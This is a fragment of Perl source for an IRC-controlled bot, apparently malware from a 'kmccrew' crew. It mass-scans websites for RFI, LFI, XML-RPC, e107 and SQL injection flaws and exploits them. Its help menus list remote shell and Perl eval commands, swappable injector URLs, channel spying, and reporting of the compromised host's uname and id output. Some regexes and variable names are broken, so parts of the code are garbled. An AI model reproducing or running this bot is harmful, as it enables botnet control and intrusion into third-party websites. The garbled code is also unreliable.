my $str = $_[0];
$str =~ s/+/ /g;
$str =~ s/%2B/\+/g;
$str =~ s/%40/@/g;
$str =~ s/%2E\././g;
$str =~ s/%2F/\./g;
$str =~ s/%26/&/g;
$str =~ s/%22/^"/g;
$str =~ s/%2C/,/g;
$str =~ s/%5C\\/g;
$str =~ s/%3A/:/g;
$str =~ s/%5[B|b]/\[/g;
$str =~ s/%5[D|d]/\]/g;
$str =~ s/%3F/?/g;
$str =~ s/%3D/=/g;
$str =~ s/%7C/|/g;
return $str;
}
sub cryptz { return crypt($_[0],"kmccrew_kae"); }

##[ TRIMMER CRLF ]##
sub trimrn {
my $str = $_[0];
if (!$str) { return ""; }
$str =~ s/\r// if ($str);
$str =~ s/\n//;
return $str;
}

##[ INFO BOT ]##
sub bot_info {
my $chan = $_[0];
my $hlogo = "\0,1 [\1\1] \9 ";
my $uname = `uname -a`;
my $uid = `id`;
my $uptime = `uptime`;
my @info = (
$hlogo."Crack RFI & LFI & XML & SQL Scanner $versi Info ",
$hlogo."Written under ActivePerl 0.0 Build 1x by Alert [Crack Crew] ",
$hlogo."Uname: $uname ",
$hlogo."Uid: $uid ",
$hlogo."Uptime: $uptime ",
);
foreach my $m(@info) { irc_msg($chan,$m); }
}

##[ HELP BOT ]##
sub bot_help {
my ($chan,$level) = @_;
my $hsepz = "\0,1 [\1\1] \0";
my $hlogo = "\0,1 [\1\1] \9".$cmdpre;
my $hcspr = " [\1] ".$bot{nick}." ";
my @help; my $i;
my @hlp1 = (
$hsepz."Crack RFI & LFI & XML & SQL Scanner $versi Help ",
$hlogo."scan|scan2 <bug> <dork> ? Memulai scanner | scanner & Eksploit RFI &
LFI & XML & SQL ",
$hcspr."scan <bug> <dork> ? Memulai scanner & Eksploit RFI & LFI ",
$hcspr."xml <bug> <dork> ? Memulai scanner & Eksploit XML ",
$hcspr."e107 <bug> <dork> ? Memulai scanner & Eksploit e107 RCE ",

```

```

                                e-1.txt
$hcspri."sql <bug> <dork> ? Memulai scanner & Eksploit SQL ",
$hcspri."sqli -h ? Melihat bantuan scemafuze SQL ",
$hlgoi."milw0rm <keywords> ? Mencari daftar bug di milw0rm ",
$hlgoi."cmdlfi <LFI target> <comand> ? execute target LFI ",
$hlgoi."cmdrfi <RFI target> <comand> ? execute target RFI ",
$hlgoi."cmdxml <XML target> <comand> ? execute target XML ",
$hlgoi."cmde107 <XML target> <comand> ? execute target e107 RCE ",
$hlgoi."ip <ip> ? cek ip ",
$hlgoi."zip <zip> ? cek zip/post code ",
$hlgoi."text[enc/dec] <text> ? encrypt/decrypt text ",
$hlgoi."respon ? Cek Respon & Injector RFI & User Agent LFI ",
$hlgoi."urlen|urldc <teks> ? Encoder/Decoder URL ",
$hlgoi."cek <target> ? Cek RFI & LFI & XML & SQL target ",
$hlgoi."info ? Informasi bot ",
$hlgoi."auth <password> ? Login ke bot ",
);
my @hlp2 = (
$hspez."User Commands: ",
$hlgoi."joomla <bug> <dork> ? Memulai scanner & Eksploit RFI & LFI & XML & SQL
Joomla ",
$hlgoi."hitung <jumlah> ? Mengganti hitungan proses eksploitasi ",
$hlgoi."cryptz <password> ? Membuat password yg terenkripsi ",
$hlgoi."join|part <channel> ? Join/Part channel ",
$hlgoi."nick <nick> ? Ganti nick bot ",
$hlgoi."logout ? Logout dari bot ",
);
my @hlp3 = (
$hspez."Admin Commands: ",
$hlgoi."crespon[1/2]|cshell|cspread <url> ? Mengganti
respon/injector/spread/spread2 RFI ",
$hlgoi."cshurl <url> ? Mengganti injector
(Ckrid1.txt,Ckrid2.txt,kmccrew.txt,kmccrew2.txt) RFI ",
$hlgoi."rfipid <perintah> ? Mengganti RFI & LFI & XML & SQL PID ",
$hlgoi."spy ? Menampilkan konfigurasi Spy ",
$hlgoi."spyhost <your chan> ? Channel host buat spy ",
$hlgoi."spychan <chan> ? Channel yang akan di spy ",
$hlgoi."spyword <regex> ? Kata yg di akan spy ",
$hlgoi."raw <perintah> ? Perintah Raw IRC ",
$hlgoi."cmd <perintah shell> ? Mengeksekusi perintah di shell ",
$hlgoi."eval <kode perl> ? Mengeksekusi kode perl ",
$hlgoi."quit ? Quit dari IRC ",
$hlgoi."keluar ? Quit dari IRC & Matikan semua proses Perl ",
);
if ( $level == 1 ) { push(@help,@hlp1); }
elsif ( $level == 2 ) { push(@help,@hlp2); }
elsif ( $level == 3 ) { push(@help,@hlp3); }
foreach my $m (@help) { irc_msg($chan,$m); $i++; if ( $i % $conf{linez} == 0 )
{ sleep($conf{sleepz}); } }
}

##[ CUSTOM MESSAGE ]##
sub msge { my ($chan,$se,$res) = @_; irc_msg($chan,"L7,1 1". $se."L15 ".$res."
L"); }
sub msgi { my ($chan,$judul,$info) = @_; irc_msg($chan,"L0,1 [1$judul]L9 $info
0"); }
sub msgn { my ($chan,$se,$nxurl) = @_; irc_msg($chan,"L8,1 1". $se."L15
".$nxurl." L"); }
sub msgr { my ($chan,$se,$totr,$clr) = @_; irc_msg($chan,"L8,1 1". $se."L15
".$totr."L0 ".$clr." L"); }
sub msgt { my ($chan,$se,$res) = @_; irc_msg($chan,"L7,1 1". $se."L15 ".$res."
L"); }
sub ntc1 { my ($chan,$judul,$info) = @_; irc_ntc($chan,"L0,1 [1$judul]L9 $info
0"); }

##[ PERINTAH RAW IRC ]##
sub irc_raw { my $data = $_[0]; print $sock "$data\r\n"; }
sub irc_pasv { my $pasv = $_[0]; irc_raw("PASS $pasv"); }
sub irc_nick { my $nick = $_[0]; irc_raw("NICK $nick"); }

```

e-1.txt

```
sub irc_user { my $ident = $_[0]; irc_raw("USER $ident localhost * : $versi"); }
sub irc_msg { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :$psn"); }
sub irc_act { my ($to,$psn) = @_; irc_raw("PRIVMSG $to : ACTION $psn "); }
sub irc_ntc { my ($to,$psn) = @_; irc_raw("NOTICE $to :$psn"); }
sub irc_join { my $to = $_[0]; irc_raw("JOIN $to"); }
sub irc_part { my $to = $_[0]; irc_raw("PART $to"); }
sub irc_quit { my $psn = $_[0]; irc_raw("QUIT :$psn"); exit; }
```

```
#####
##[ kmccrew CRACKED CREW ]##
#####
```